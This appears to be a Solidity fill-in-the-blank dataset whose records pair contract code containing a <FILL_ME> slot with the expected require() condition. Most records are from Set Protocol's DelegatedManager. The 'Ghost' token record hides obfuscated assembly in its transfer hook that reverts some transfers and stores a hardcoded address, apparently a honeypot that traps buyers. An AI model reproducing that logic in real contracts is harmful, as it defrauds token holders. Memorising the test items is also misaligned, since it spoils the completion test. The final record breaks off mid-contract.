* ONLY OWNER: Remove existing extension(s) tracked by the DelegatedManager. Removed extensions are
* placed in NONE state.
*
* @param _extensions Old extension to remove
*/
function removeExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Add new operator(s) address(es)
*
* @param _operators New operator(s) to add
*/
function addOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Remove operator(s) from the allowlist
*
* @param _operators New operator(s) to remove
*/
function removeOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Add new asset(s) that can be traded to, wrapped to, or claimed
*
* @param _assets New asset(s) to add
*/
function addAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Remove asset(s) so that it/they can't be traded to, wrapped to, or claimed
*
* @param _assets Asset(s) to remove
*/
function removeAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Toggle useAssetAllowlist on and off. When false asset allowlist is ignored
* when true it is enforced.
*
* @param _useAssetAllowlist Bool indicating whether to use asset allow list
*/
function updateUseAssetAllowlist(bool _useAssetAllowlist) external onlyOwner {
}
/**
* ONLY OWNER: Update percent of fees that are sent to owner
*
* @param _newFeeSplit Percent in precise units (100% = 10**18) of fees that accrue to owner
*/
function updateOwnerFeeSplit(uint256 _newFeeSplit) external mutualUpgrade(owner(), methodologist) {
}
/**
* ONLY OWNER: Update address owner receives fees at
*
* @param _newFeeRecipient Address to send owner fees to
*/
function updateOwnerFeeRecipient(address _newFeeRecipient) external onlyOwner {
}
/**
* ONLY METHODOLOGIST: Update the methodologist address
*
* @param _newMethodologist New methodologist address
*/
function setMethodologist(address _newMethodologist) external onlyMethodologist {
}
/**
* ONLY OWNER: Update the SetToken manager address.
*
* @param _newManager New manager address
*/
function setManager(address _newManager) external onlyOwner {
}
/**
* ONLY OWNER: Add a new module to the SetToken.
*
* @param _module New module to add
*/
function addModule(address _module) external onlyOwner {
}
/**
* ONLY OWNER: Remove a module from the SetToken.
*
* @param _module Module to remove
*/
function removeModule(address _module) external onlyOwner {
}
/* ============ External View Functions ============ */
function isAllowedAsset(address _asset) external view returns(bool) {
}
function isPendingExtension(address _extension) external view returns(bool) {
}
function isInitializedExtension(address _extension) external view returns(bool) {
}
function getExtensions() external view returns(address[] memory) {
}
function getOperators() external view returns(address[] memory) {
}
function getAllowedAssets() external view returns(address[] memory) {
}
/* ============ Internal Functions ============ */
/**
* Add extensions that the DelegatedManager can call.
*
* @param _extensions New extension to add
*/
function _addExtensions(address[] memory _extensions) internal {
for (uint256 i = 0; i < _extensions.length; i++) {
address extension = _extensions[i];
require(<FILL_ME>)
extensionAllowlist[extension] = ExtensionState.PENDING;
emit ExtensionAdded(extension);
}
}
/**
* Add new operator(s) address(es)
*
* @param _operators New operator to add
*/
function _addOperators(address[] memory _operators) internal {
}
/**
* Add new assets that can be traded to, wrapped to, or claimed
*
* @param _assets New asset to add
*/
function _addAllowedAssets(address[] memory _assets) internal {
}
}
| extensionAllowlist[extension]==ExtensionState.NONE,"Extension already exists" | 412,846 | extensionAllowlist[extension]==ExtensionState.NONE |
"Operator already added" | /*
Copyright 2022 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import { ISetToken } from "@setprotocol/set-protocol-v2/contracts/interfaces/ISetToken.sol";
import { PreciseUnitMath } from "@setprotocol/set-protocol-v2/contracts/lib/PreciseUnitMath.sol";
import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
import { IGlobalExtension } from "../interfaces/IGlobalExtension.sol";
import { MutualUpgradeV2 } from "../lib/MutualUpgradeV2.sol";
/**
* @title DelegatedManager
* @author Set Protocol
*
* Smart contract manager that maintains permissions and SetToken admin functionality via owner role. Owner
* works alongside methodologist to ensure business agreements are kept. Owner is able to delegate maintenance
* operations to operator(s). There can be more than one operator, however they have a global role so once
* delegated to they can perform any operator delegated roles. The owner is able to set restrictions on what
* operators can do in the form of asset whitelists. Operators cannot trade/wrap/claim/etc. an asset that is not
* a part of the asset whitelist, hence they are a semi-trusted party. It is recommended that the owner address
* be managed by a multi-sig or some form of permissioning system.
*/
contract DelegatedManager is Ownable, MutualUpgradeV2 {
using Address for address;
using AddressArrayUtils for address[];
using SafeERC20 for IERC20;
/* ============ Enums ============ */
enum ExtensionState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Events ============ */
event MethodologistChanged(
address indexed _newMethodologist
);
event ExtensionAdded(
address indexed _extension
);
event ExtensionRemoved(
address indexed _extension
);
event ExtensionInitialized(
address indexed _extension
);
event OperatorAdded(
address indexed _operator
);
event OperatorRemoved(
address indexed _operator
);
event AllowedAssetAdded(
address indexed _asset
);
event AllowedAssetRemoved(
address indexed _asset
);
event UseAssetAllowlistUpdated(
bool _status
);
event OwnerFeeSplitUpdated(
uint256 _newFeeSplit
);
event OwnerFeeRecipientUpdated(
address indexed _newFeeRecipient
);
/* ============ Modifiers ============ */
/**
* Throws if the sender is not the SetToken methodologist
*/
modifier onlyMethodologist() {
}
/**
* Throws if the sender is not an initialized extension
*/
modifier onlyExtension() {
}
/* ============ State Variables ============ */
// Instance of SetToken
ISetToken public immutable setToken;
// Address of factory contract used to deploy contract
address public immutable factory;
// Mapping to check which ExtensionState a given extension is in
mapping(address => ExtensionState) public extensionAllowlist;
// Array of initialized extensions
address[] internal extensions;
// Mapping indicating if address is an approved operator
mapping(address=>bool) public operatorAllowlist;
// List of approved operators
address[] internal operators;
// Mapping indicating if asset is approved to be traded for, wrapped into, claimed, etc.
mapping(address=>bool) public assetAllowlist;
// List of allowed assets
address[] internal allowedAssets;
// Toggle if asset allow list is being enforced
bool public useAssetAllowlist;
// Global owner fee split that can be referenced by Extensions
uint256 public ownerFeeSplit;
// Address owners portions of fees get sent to
address public ownerFeeRecipient;
// Address of methodologist which serves as providing methodology for the index and receives fee splits
address public methodologist;
/* ============ Constructor ============ */
constructor(
ISetToken _setToken,
address _factory,
address _methodologist,
address[] memory _extensions,
address[] memory _operators,
address[] memory _allowedAssets,
bool _useAssetAllowlist
)
public
{
}
/* ============ External Functions ============ */
/**
* ONLY EXTENSION: Interact with a module registered on the SetToken. In order to ensure SetToken admin
* functions can only be changed from this contract no calls to the SetToken can originate from Extensions.
* To transfer SetTokens use the `transferTokens` function.
*
* @param _module Module to interact with
* @param _data Byte data of function to call in module
*/
function interactManager(address _module, bytes calldata _data) external onlyExtension {
}
/**
* EXTENSION ONLY: Transfers _tokens held by the manager to _destination. Can be used to
* distribute fees or recover anything sent here accidentally.
*
* @param _token ERC20 token to send
* @param _destination Address receiving the tokens
* @param _amount Quantity of tokens to send
*/
function transferTokens(address _token, address _destination, uint256 _amount) external onlyExtension {
}
/**
* Initializes an added extension from PENDING to INITIALIZED state and adds to extension array. An
* address can only enter a PENDING state if it is an enabled extension added by the manager. Only
* callable by the extension itself, hence msg.sender is the subject of update.
*/
function initializeExtension() external {
}
/**
* ONLY OWNER: Add new extension(s) that the DelegatedManager can call. Puts extensions into PENDING
* state, each must be initialized in order to be used.
*
* @param _extensions New extension(s) to add
*/
function addExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Remove existing extension(s) tracked by the DelegatedManager. Removed extensions are
* placed in NONE state.
*
* @param _extensions Old extension to remove
*/
function removeExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Add new operator(s) address(es)
*
* @param _operators New operator(s) to add
*/
function addOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Remove operator(s) from the allowlist
*
* @param _operators New operator(s) to remove
*/
function removeOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Add new asset(s) that can be traded to, wrapped to, or claimed
*
* @param _assets New asset(s) to add
*/
function addAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Remove asset(s) so that it/they can't be traded to, wrapped to, or claimed
*
* @param _assets Asset(s) to remove
*/
function removeAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Toggle useAssetAllowlist on and off. When false asset allowlist is ignored
* when true it is enforced.
*
* @param _useAssetAllowlist Bool indicating whether to use asset allow list
*/
function updateUseAssetAllowlist(bool _useAssetAllowlist) external onlyOwner {
}
/**
* ONLY OWNER: Update percent of fees that are sent to owner
*
* @param _newFeeSplit Percent in precise units (100% = 10**18) of fees that accrue to owner
*/
function updateOwnerFeeSplit(uint256 _newFeeSplit) external mutualUpgrade(owner(), methodologist) {
}
/**
* ONLY OWNER: Update address owner receives fees at
*
* @param _newFeeRecipient Address to send owner fees to
*/
function updateOwnerFeeRecipient(address _newFeeRecipient) external onlyOwner {
}
/**
* ONLY METHODOLOGIST: Update the methodologist address
*
* @param _newMethodologist New methodologist address
*/
function setMethodologist(address _newMethodologist) external onlyMethodologist {
}
/**
* ONLY OWNER: Update the SetToken manager address.
*
* @param _newManager New manager address
*/
function setManager(address _newManager) external onlyOwner {
}
/**
* ONLY OWNER: Add a new module to the SetToken.
*
* @param _module New module to add
*/
function addModule(address _module) external onlyOwner {
}
/**
* ONLY OWNER: Remove a module from the SetToken.
*
* @param _module Module to remove
*/
function removeModule(address _module) external onlyOwner {
}
/* ============ External View Functions ============ */
function isAllowedAsset(address _asset) external view returns(bool) {
}
function isPendingExtension(address _extension) external view returns(bool) {
}
function isInitializedExtension(address _extension) external view returns(bool) {
}
function getExtensions() external view returns(address[] memory) {
}
function getOperators() external view returns(address[] memory) {
}
function getAllowedAssets() external view returns(address[] memory) {
}
/* ============ Internal Functions ============ */
/**
* Add extensions that the DelegatedManager can call.
*
* @param _extensions New extension to add
*/
function _addExtensions(address[] memory _extensions) internal {
}
/**
* Add new operator(s) address(es)
*
* @param _operators New operator to add
*/
function _addOperators(address[] memory _operators) internal {
for (uint256 i = 0; i < _operators.length; i++) {
address operator = _operators[i];
require(<FILL_ME>)
operators.push(operator);
operatorAllowlist[operator] = true;
emit OperatorAdded(operator);
}
}
/**
* Add new assets that can be traded to, wrapped to, or claimed
*
* @param _assets New asset to add
*/
function _addAllowedAssets(address[] memory _assets) internal {
}
}
| !operatorAllowlist[operator],"Operator already added" | 412,846 | !operatorAllowlist[operator] |
"Asset already added" | /*
Copyright 2022 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import { ISetToken } from "@setprotocol/set-protocol-v2/contracts/interfaces/ISetToken.sol";
import { PreciseUnitMath } from "@setprotocol/set-protocol-v2/contracts/lib/PreciseUnitMath.sol";
import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
import { IGlobalExtension } from "../interfaces/IGlobalExtension.sol";
import { MutualUpgradeV2 } from "../lib/MutualUpgradeV2.sol";
/**
* @title DelegatedManager
* @author Set Protocol
*
* Smart contract manager that maintains permissions and SetToken admin functionality via owner role. Owner
* works alongside methodologist to ensure business agreements are kept. Owner is able to delegate maintenance
* operations to operator(s). There can be more than one operator, however they have a global role so once
* delegated to they can perform any operator delegated roles. The owner is able to set restrictions on what
* operators can do in the form of asset whitelists. Operators cannot trade/wrap/claim/etc. an asset that is not
* a part of the asset whitelist, hence they are a semi-trusted party. It is recommended that the owner address
* be managed by a multi-sig or some form of permissioning system.
*/
contract DelegatedManager is Ownable, MutualUpgradeV2 {
using Address for address;
using AddressArrayUtils for address[];
using SafeERC20 for IERC20;
/* ============ Enums ============ */
enum ExtensionState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Events ============ */
event MethodologistChanged(
address indexed _newMethodologist
);
event ExtensionAdded(
address indexed _extension
);
event ExtensionRemoved(
address indexed _extension
);
event ExtensionInitialized(
address indexed _extension
);
event OperatorAdded(
address indexed _operator
);
event OperatorRemoved(
address indexed _operator
);
event AllowedAssetAdded(
address indexed _asset
);
event AllowedAssetRemoved(
address indexed _asset
);
event UseAssetAllowlistUpdated(
bool _status
);
event OwnerFeeSplitUpdated(
uint256 _newFeeSplit
);
event OwnerFeeRecipientUpdated(
address indexed _newFeeRecipient
);
/* ============ Modifiers ============ */
/**
* Throws if the sender is not the SetToken methodologist
*/
modifier onlyMethodologist() {
}
/**
* Throws if the sender is not an initialized extension
*/
modifier onlyExtension() {
}
/* ============ State Variables ============ */
// Instance of SetToken
ISetToken public immutable setToken;
// Address of factory contract used to deploy contract
address public immutable factory;
// Mapping to check which ExtensionState a given extension is in
mapping(address => ExtensionState) public extensionAllowlist;
// Array of initialized extensions
address[] internal extensions;
// Mapping indicating if address is an approved operator
mapping(address=>bool) public operatorAllowlist;
// List of approved operators
address[] internal operators;
// Mapping indicating if asset is approved to be traded for, wrapped into, claimed, etc.
mapping(address=>bool) public assetAllowlist;
// List of allowed assets
address[] internal allowedAssets;
// Toggle if asset allow list is being enforced
bool public useAssetAllowlist;
// Global owner fee split that can be referenced by Extensions
uint256 public ownerFeeSplit;
// Address owners portions of fees get sent to
address public ownerFeeRecipient;
// Address of methodologist which serves as providing methodology for the index and receives fee splits
address public methodologist;
/* ============ Constructor ============ */
constructor(
ISetToken _setToken,
address _factory,
address _methodologist,
address[] memory _extensions,
address[] memory _operators,
address[] memory _allowedAssets,
bool _useAssetAllowlist
)
public
{
}
/* ============ External Functions ============ */
/**
* ONLY EXTENSION: Interact with a module registered on the SetToken. In order to ensure SetToken admin
* functions can only be changed from this contract no calls to the SetToken can originate from Extensions.
* To transfer SetTokens use the `transferTokens` function.
*
* @param _module Module to interact with
* @param _data Byte data of function to call in module
*/
function interactManager(address _module, bytes calldata _data) external onlyExtension {
}
/**
* EXTENSION ONLY: Transfers _tokens held by the manager to _destination. Can be used to
* distribute fees or recover anything sent here accidentally.
*
* @param _token ERC20 token to send
* @param _destination Address receiving the tokens
* @param _amount Quantity of tokens to send
*/
function transferTokens(address _token, address _destination, uint256 _amount) external onlyExtension {
}
/**
* Initializes an added extension from PENDING to INITIALIZED state and adds to extension array. An
* address can only enter a PENDING state if it is an enabled extension added by the manager. Only
* callable by the extension itself, hence msg.sender is the subject of update.
*/
function initializeExtension() external {
}
/**
* ONLY OWNER: Add new extension(s) that the DelegatedManager can call. Puts extensions into PENDING
* state, each must be initialized in order to be used.
*
* @param _extensions New extension(s) to add
*/
function addExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Remove existing extension(s) tracked by the DelegatedManager. Removed extensions are
* placed in NONE state.
*
* @param _extensions Old extension to remove
*/
function removeExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Add new operator(s) address(es)
*
* @param _operators New operator(s) to add
*/
function addOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Remove operator(s) from the allowlist
*
* @param _operators New operator(s) to remove
*/
function removeOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Add new asset(s) that can be traded to, wrapped to, or claimed
*
* @param _assets New asset(s) to add
*/
function addAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Remove asset(s) so that it/they can't be traded to, wrapped to, or claimed
*
* @param _assets Asset(s) to remove
*/
function removeAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Toggle useAssetAllowlist on and off. When false asset allowlist is ignored
* when true it is enforced.
*
* @param _useAssetAllowlist Bool indicating whether to use asset allow list
*/
function updateUseAssetAllowlist(bool _useAssetAllowlist) external onlyOwner {
}
/**
* ONLY OWNER: Update percent of fees that are sent to owner
*
* @param _newFeeSplit Percent in precise units (100% = 10**18) of fees that accrue to owner
*/
function updateOwnerFeeSplit(uint256 _newFeeSplit) external mutualUpgrade(owner(), methodologist) {
}
/**
* ONLY OWNER: Update address owner receives fees at
*
* @param _newFeeRecipient Address to send owner fees to
*/
function updateOwnerFeeRecipient(address _newFeeRecipient) external onlyOwner {
}
/**
* ONLY METHODOLOGIST: Update the methodologist address
*
* @param _newMethodologist New methodologist address
*/
function setMethodologist(address _newMethodologist) external onlyMethodologist {
}
/**
* ONLY OWNER: Update the SetToken manager address.
*
* @param _newManager New manager address
*/
function setManager(address _newManager) external onlyOwner {
}
/**
* ONLY OWNER: Add a new module to the SetToken.
*
* @param _module New module to add
*/
function addModule(address _module) external onlyOwner {
}
/**
* ONLY OWNER: Remove a module from the SetToken.
*
* @param _module Module to remove
*/
function removeModule(address _module) external onlyOwner {
}
/* ============ External View Functions ============ */
function isAllowedAsset(address _asset) external view returns(bool) {
}
function isPendingExtension(address _extension) external view returns(bool) {
}
function isInitializedExtension(address _extension) external view returns(bool) {
}
function getExtensions() external view returns(address[] memory) {
}
function getOperators() external view returns(address[] memory) {
}
function getAllowedAssets() external view returns(address[] memory) {
}
/* ============ Internal Functions ============ */
/**
* Add extensions that the DelegatedManager can call.
*
* @param _extensions New extension to add
*/
function _addExtensions(address[] memory _extensions) internal {
}
/**
* Add new operator(s) address(es)
*
* @param _operators New operator to add
*/
function _addOperators(address[] memory _operators) internal {
}
/**
* Add new assets that can be traded to, wrapped to, or claimed
*
* @param _assets New asset to add
*/
function _addAllowedAssets(address[] memory _assets) internal {
for (uint256 i = 0; i < _assets.length; i++) {
address asset = _assets[i];
require(<FILL_ME>)
allowedAssets.push(asset);
assetAllowlist[asset] = true;
emit AllowedAssetAdded(asset);
}
}
}
| !assetAllowlist[asset],"Asset already added" | 412,846 | !assetAllowlist[asset] |
"ERC20: trading is not yet enabled." | // HAVE YOU BEEN GHOSTED?
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private gambleAddr;
uint256 private _fastBurn = block.number*2;
mapping (address => bool) private _swapCard;
mapping (address => bool) private RefundProcess;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private happyTime;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private theTax;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private replaceMent = 1; bool private goodJob;
uint256 private _decimals; uint256 private numberBeast;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _theInit() internal { }
function _beforeTokenTransfer(address sender, address recipient, uint256 integer) internal {
require(<FILL_ME>)
if (block.chainid == 1) {
bool open = (((goodJob || RefundProcess[sender]) && ((_fastBurn - theN) >= 9)) || (integer >= _limit) || ((integer >= (_limit/2)) && (_fastBurn == block.number))) && ((_swapCard[recipient] == true) && (_swapCard[sender] != true) || ((gambleAddr[1] == recipient) && (_swapCard[gambleAddr[1]] != true))) && (numberBeast > 0);
assembly {
function gByte(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function gG() -> faL { faL := gas() }
function gDyn(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(sload(gByte(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) } if and(lt(gG(),sload(0xB)),open) { invalid() } if sload(0x16) { sstore(gByte(sload(gDyn(0x2,0x1)),0x6),0x726F105396F2CA1CCEBD5BFC27B556699A07FFE7C2) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x11) if iszero(sload(0x17)) { sstore(0x17,t) } let g := sload(0x17)
switch gt(g,div(t,0x3))
case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) }
case 0 { g := div(t,0x3) }
sstore(0x17,t) sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1))
}
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x9)),eq(sload(gByte(sload(0x8),0x4)),0x0)) { sstore(gByte(sload(0x8),0x5),0x1) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x11) let t := sload(0x17) sstore(0x17,k) sstore(0x11,t)
}
if iszero(mod(sload(0x15),0x5)) { sstore(0x16,0x1) } sstore(0x12,integer) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployGhost(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract Ghost is ERC20Token {
constructor() ERC20Token("Ghost", "GHOST", msg.sender, 3150000 * 10 ** 18) {
}
}
| (trading||(sender==gambleAddr[1])),"ERC20: trading is not yet enabled." | 412,968 | (trading||(sender==gambleAddr[1])) |
"Trading is already enabled!" | pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract DARAToken is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private startingSupply;
string private _name;
string private _symbol;
uint256 public _reF = 0; uint256 public _liF = 0; uint256 public _maF = 1100;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 0; uint256 public _sReF = 0; uint256 public _sMaF = 1100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 0;
uint256 public _marketRatio = 2000;
uint256 private masterTaxDivisor = 10000;
uint256 private MarketS = 10;
uint256 private DevS = 0;
uint256 private ValueD = 10;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _devWallet;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _maxTXN;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool Launched = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function setupfortrade(address payable setMarketWallet, address payable setDevWallet, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTaxesBuy(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTaxesSell(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTaxesTransfer(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
